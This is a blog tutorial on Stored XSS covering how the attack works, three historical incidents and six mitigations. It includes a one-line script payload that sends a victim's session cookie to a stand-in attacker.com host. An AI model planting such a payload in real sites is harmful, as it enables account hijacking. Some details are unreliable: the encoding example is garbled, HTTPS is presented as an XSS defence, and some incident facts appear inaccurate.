Skip to content

Desi banjara

learn and grow together

  • Azure
    • Azure Compute
      • Azure Logic Apps
      • Azure Mobile Apps
      • Azure App Service
      • Azure Serverless Computing
        • Azure Functions
    • Azure Networking services
      • Azure Networking – VNET
    • Azure Database Services
      • Azure SQL
      • Azure Data Factory
      • Azure Databricks
    • Azure Analytics Services
    • Azure Cognitive Services
    • Azure Data and Storage
    • Azure Devops
    • Azure landing zone
    • Azure IaaS
    • Azure Internet of Things (IoT)
      • Azure Machine Learning
      • Azure AI and ML services
    • Azure Migration
    • Microsoft Azure Log Analytics
  • Azure Security
    • Azure Identity and Access Management
    • Azure Active Directory
    • Azure Defender
    • Azure security tools for logging and monitoring
    • Azure Sentinel
    • Azure Sentinel – Data connectors
  • Agile Software development
    • Atlassian Jira
  • Amazon Web Services (AWS)
    • Amazon EC2
    • Amazon ECS
    • AWS Lambda
  • Google
    • Google Cloud Platform (GCP)
    • gmail api
    • Google Ads
    • Google AdSense
    • Google Analytics
    • Google Docs
    • Google Drive
    • Google Maps
    • Google search console
  • Software architecture
    • Service-oriented architecture (SOA)
    • Domain-Driven Design (DDD)
    • Microservices
    • Event-Driven Architecture
    • Command Query Responsibility Segregation (CQRS) Pattern
    • Layered Pattern
    • Model-View-Controller (MVC) Pattern
    • Hexagonal Architecture Pattern
    • Peer-to-Peer (P2P) pattern
    • Pipeline Pattern
  • Enterprise application architecture
  • IT/Software development
    • API development
    • ASP.Net MVC
    • ASP.NET Web API
    • C# development
    • RESTful APIs
  • Cybersecurity
    • Cross Site Scripting (XSS)
    • Reflected XSS
    • DOM-based XSS
    • Stored XSS attacks
    • Ransomware
    • cyber breaches
    • Static Application Security Testing (SAST)
  • Interview questions
    • Microsoft Azure Interview Questions
    • Amazon Web Services (AWS) Interview Questions
    • Agile Software development interview questions
    • C# interview questions with answers
    • Google analytics interview questions with answers
    • Javascript interview questions with answers
    • Python interview questions with answers
    • WordPress developer interview questions and answers
  • Cloud
    • Cloud computing
    • Infrastructure as a Service (IaaS)
    • Platform as a Service (PaaS)
    • Software as a Service (SaaS)
    • Zero Trust strategy
  • Toggle search form
  • Azure ExpressRoute Azure
  • What is datadog Monitoring and analytics
  • How to build high performing teams? Project management
  • DOM-based XSS Cybersecurity
  • Azure Cognitive Services Azure Cognitive Services
  • Azure Data Factory Azure Data Factory
  • Azure Identity and Access Management Azure Identity and Access Management
  • Unveiling the Art of FinOps: Evaluating Cost Efficiency in Cloud Architectures Cloud

What is Stored XSS?

Posted on March 8, 2023March 8, 2023 By DesiBanjara No Comments on What is Stored XSS?

Cross-Site Scripting (XSS) is a type of security vulnerability that allows attackers to inject malicious code into a web application. There are different types of XSS attacks, including Reflected XSS, DOM-based XSS, and Stored XSS. In this article, we will focus on Stored XSS and provide examples of how it works.

What is Stored XSS?

Stored XSS (also known as Persistent or Type 1 XSS) is a type of XSS attack where the malicious code is stored on the server and is executed when the victim accesses the affected page. Unlike Reflected XSS, where the malicious code is reflected back to the victim by the web application, Stored XSS attacks can affect multiple victims who access the affected page, as the malicious code is stored on the server and can be served to any user who visits the page.

How Stored XSS Works?

Stored XSS attacks usually start with the attacker finding a vulnerable web application that allows users to submit content that is stored on the server and then displayed to other users. This can be a comment section on a blog post, a message board, or a user profile.

The attacker then submits malicious code as part of their input, which is stored on the server. When a victim accesses the page containing the malicious code, the code is executed in their browser, giving the attacker access to the victim’s session data and other sensitive information.

For example, let’s say a social networking site allows users to post comments on their profiles. The site doesn’t properly sanitize user input, allowing attackers to submit malicious code as comments. The attacker submits a comment that contains the following malicious code:

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script>

When a victim views the affected profile page, the malicious code is executed in their browser, and their session cookie is sent to the attacker’s server. The attacker can then use the session cookie to impersonate the victim and access their account.

Examples of Stored XSS Attacks

Here are some examples of real-world Stored XSS attacks:

  1. MySpace XSS Worm In 2005, a 21-year-old Samy Kamkar discovered a Stored XSS vulnerability on the MySpace social networking site. He used this vulnerability to create an XSS worm that infected over one million profiles in less than 24 hours.

The worm worked by injecting JavaScript code into the “About Me” section of user profiles. When a user viewed an infected profile, the code was executed in their browser, adding the user to Samy’s “top friends” list and displaying a message that read “But most of all, Samy is my hero”.

The worm spread rapidly, causing MySpace to shut down temporarily to fix the vulnerability.

  1. eBay Stored XSS In 2014, security researcher Klikki Oy discovered a Stored XSS vulnerability in eBay’s website. The vulnerability allowed an attacker to inject malicious code into product listings, which could be executed by any user who viewed the listing.

The vulnerability was caused by eBay’s failure to properly sanitize user input in the product description field. Klikki Oy was able to inject malicious code that would steal the victim’s eBay session cookie and send it to the attacker’s server.

  1. WordPress Stored XSS In 2016, security researcher Dawid Golunski discovered a Stored XSS vulnerability in the WordPress content management system. The vulnerability allowed an attacker to inject malicious code into a WordPress post or page, which could be executed by any user who viewed the post or page.

The vulnerability was caused by a failure to properly sanitize user input in the post or page content. Dawid was able to inject a script that would steal the victim’s WordPress session cookie and send it to the attacker’s server.

Mitigating Stored XSS Attacks

To mitigate Stored XSS attacks, web developers and organizations can take the following measures:

  1. Input validation and sanitization: Input validation and sanitization are important to prevent attackers from injecting malicious code into a website. Input validation involves verifying that the input data meets certain criteria, such as the length and format of the data, to ensure that it is safe to use. Sanitization involves removing any potentially dangerous characters from the input data. For example, a website that allows users to enter comments should validate the length of the comment and sanitize it by stripping out any HTML tags or special characters that could be used to inject malicious code.
  2. Encoding user input: Encoding user input involves converting special characters into their corresponding entity codes to prevent them from being interpreted as code by the browser. For example, the ‘<‘ character can be encoded as ‘<‘, and the ‘>’ character can be encoded as ‘>’. This prevents attackers from injecting malicious code into the website that could be executed by the browser.
  3. Implement Content Security Policy (CSP): Content Security Policy is a security measure that can be implemented on a website to prevent XSS attacks. It allows website owners to define a set of rules that determine which resources can be loaded by a page, and which types of code can be executed. CSP can be used to prevent inline scripts and the use of unsafe inline styles, as well as restrict the loading of external resources from untrusted sources. Implementing a strong CSP can help to prevent XSS attacks.
  4. Use HTTPS: Implementing HTTPS on your website ensures that all data transmitted between the user’s browser and your server is encrypted. This prevents attackers from intercepting sensitive data or injecting malicious code. HTTPS also helps to verify the identity of the website and prevent man-in-the-middle attacks.
  5. Regularly update software: Regularly updating software used on a website, including any third-party plugins or libraries, is important to ensure that known vulnerabilities are patched. Attackers can exploit vulnerabilities in outdated software to inject malicious code into a website. Regularly updating software helps to prevent these types of attacks.
  6. Educate users: Educating users is an important step to prevent XSS attacks. This can include advising them to never click on suspicious links or download unknown files. Users should also be advised to use strong passwords and to avoid reusing the same password across multiple websites. Additionally, users should be encouraged to report any suspicious activity or content they encounter while using the website.

 

Stored XSS attacks Tags:Cross Site Scripting (XSS), Stored XSS attacks, XSS

Post navigation

Previous Post: Cross Site Scripting (XSS)
Next Post: Reflected XSS

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.



Categories

  • Agile Software development
  • AI Writing & Automation
  • Amazon EC2
  • Amazon Web Services (AWS)
  • Apache Kafka
  • API development
  • Apple Mac
  • ARM templates
  • Artificial intelligence
  • ASP.NET Core
  • ASP.Net MVC
  • Atlassian Jira
  • AWS Lambda
  • Azure
  • Azure Active Directory
  • Azure AD B2C
  • Azure AD Domain Services
  • Azure AI and ML services
  • Azure Analytics Services
  • Azure App Service
  • Azure Application Gateway
  • Azure Archive Storage
  • Azure Blob Storage
  • Azure Cache for Redis
  • Azure Cognitive Services
  • Azure Compute
  • Azure Container Instances (ACI)
  • Azure Core Services
  • Azure Cosmos DB
  • Azure Data and Storage
  • Azure Data Factory
  • Azure Data Lake Storage
  • Azure Database for MySQL
  • Azure Database for PostgreSQL
  • Azure Database Migration Service
  • Azure Database Services
  • Azure Databricks
  • Azure DDoS Protection
  • Azure Defender
  • Azure Devops
  • Azure Disk Storage
  • Azure ExpressRoute
  • Azure File Storage
  • Azure Firewall
  • Azure Functions
  • Azure HDInsight
  • Azure IaaS
  • Azure Identity and Access Management
  • Azure Internet of Things (IoT)
  • Azure Key Vault
  • Azure Kubernetes Service (AKS)
  • Azure landing zone
  • Azure Lighthouse
  • Azure Load Balancer
  • Azure Logic Apps
  • Azure Machine Learning
  • Azure Machine Learning
  • Azure Migration
  • Azure Mobile Apps
  • Azure Network Watcher
  • Azure Networking – VNET
  • Azure Networking services
  • Azure Pricing and Support
  • Azure Queue Storage
  • Azure Resource Manager
  • Azure Security
  • Azure Security Center
  • Azure Security Information and Event Management (SIEM)
  • Azure security tools for logging and monitoring
  • Azure Security, Privacy, Compliance, and Trust
  • Azure Sentinel
  • Azure Sentinel – Data connectors
  • Azure Serverless Computing
  • Azure Service Level Agreement (SLA)
  • Azure SLA calculation
  • Azure SQL
  • Azure SQL Database
  • Azure Storage
  • Azure Stream Analytics
  • Azure Synapse Analytics
  • Azure Table Storage
  • Azure Virtual Machine
  • Azure VPN Gateway
  • Blogging
  • Business
  • C# development
  • CDA (Clinical Document Architecture)
  • ChatGPT
  • CI/CD pipeline
  • Cloud
  • Cloud computing
  • Cloud Computing Concepts
  • Cloud FinOps
  • Cloud FinOps Optmisation
  • Cloud services
  • COBIT
  • Command Query Responsibility Segregation (CQRS) Pattern
  • Configure SSL offloading
  • Content Creation
  • Content management system
  • Continuous Integration
  • conversational AI
  • Cross Site Scripting (XSS)
  • cyber breaches
  • Cybersecurity
  • Data Analysis
  • Data Clean Rooms
  • Data Engineering
  • Data Warehouse
  • Database
  • DeepSeek AI
  • DevOps
  • DevSecOps
  • Docker
  • DOM-based XSS
  • Domain-Driven Design (DDD)
  • Dynamic Application Security Testing (DAST)
  • Enterprise application architecture
  • Event-Driven Architecture
  • git
  • gmail api
  • Google
  • Google Ads
  • Google AdSense
  • Google Analytics
  • Google Cloud Platform (GCP)
  • Google Docs
  • Google Drive
  • Google Flights API
  • Google Maps
  • Google search console
  • Healthcare Interoperability Resources
  • Hexagonal Architecture Pattern
  • IBM qradar
  • Internet of Things (IoT)
  • Interview questions
  • Introduction to DICOM
  • IT governance
  • IT Infrastructure networking
  • Kubernetes
  • Layered Pattern
  • Load Balancing Algorithms
  • Microservices
  • Microservices
  • Microsoft
  • Microsoft 365 Defender
  • Microsoft AZ-900 Certification Exam
  • Microsoft Azure
  • Microsoft Azure Log Analytics
  • Microsoft Cloud Adoption Framework
  • Microsoft Teams
  • Microsoft Teams
  • Model-View-Controller (MVC) Pattern
  • Monitoring and analytics
  • NoSQL
  • OpenAI
  • Peer-to-Peer (P2P) pattern
  • Pipeline Pattern
  • PL-100: Microsoft Power Platform App Maker
  • Postman
  • Project management
  • Rally software
  • Ransomware
  • Reflected XSS
  • RESTful APIs
  • Rich Text Editor
  • SC-100: Microsoft Cybersecurity Architect
  • Scrum Master Certification
  • Service-oriented architecture (SOA)
  • SIEM
  • Software architecture
  • Splunk
  • SQL
  • Static Application Security Testing (SAST)
  • Stored XSS attacks
  • System Design Interview
  • Test Driven Development (TDD)
  • TinyMCE
  • Top technology trends for 2023
  • Uncategorized
  • User Experience (UX) design
  • Version control system
  • virtual machine scale set
  • visual studio
  • Web development
  • Windows Hello
  • WordPress
  • WordPress developer interview questions and answers
  • Zero Trust strategy



Recent Posts

  • Ace Your FAANG System Design Interview like Google & Amazon: The 8 Whitepapers You Must Read
  • From $0 to $10K/Month Writing Online – The Exact Roadmap to Build a Profitable Writing Career
  • How to Write an AI-Generated Article That Feels 100% Human Using ChatGPT
  • DeepSeek AI: The OpenAI Rival You Didn’t See Coming (But Should)
  • 10 Ways AI is Revolutionizing Healthcare (And Why Your Doctor Might Just Be a Robot Soon)
  • Azure Networking – Virtual Network (VNet) Azure
  • Star Schema vs. Snowflake Schema Data Engineering
  • Exam AZ-900 – AZURE FUNDAMENTALS Azure
  • Azure Artificial Intelligence (AI) and Machine Learning (ML) services Azure
  • Azure Load Balancer Azure
  • Azure Disk Storage Azure Disk Storage
  • Azure Sentinel – a cloud-native security information and event management (SIEM) solution Azure
  • Differences between SQL and NoSQL Databases Database

Copyright © 2025 Desi banjara.

Powered by PressBook News WordPress theme